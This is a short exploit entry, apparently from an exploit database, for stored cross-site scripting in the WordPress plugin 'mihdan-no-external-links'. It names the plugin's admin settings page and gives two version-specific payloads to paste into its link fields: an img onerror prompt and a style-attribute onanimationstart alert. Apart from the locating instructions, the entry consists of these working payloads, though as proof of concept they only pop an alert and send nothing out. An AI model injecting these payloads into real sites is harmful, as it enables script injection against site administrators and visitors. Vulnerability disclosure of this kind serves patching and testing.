Share
## https://sploitus.com/exploit?id=WPEX-ID:BF476A3E-05BA-4B54-8A65-3D261AD5337B
Put the following payload in any of the text fields in the Settings > Links of the plugin (/wp-admin/admin.php?page=mihdan-no-external-links&tab=links): 

v < 4.8.0 - "><img src onerror=prompt(/XSS/)>
v <= 4.8.0 - " style=animation-name:rotation onanimationstart=alert(/XSS/)//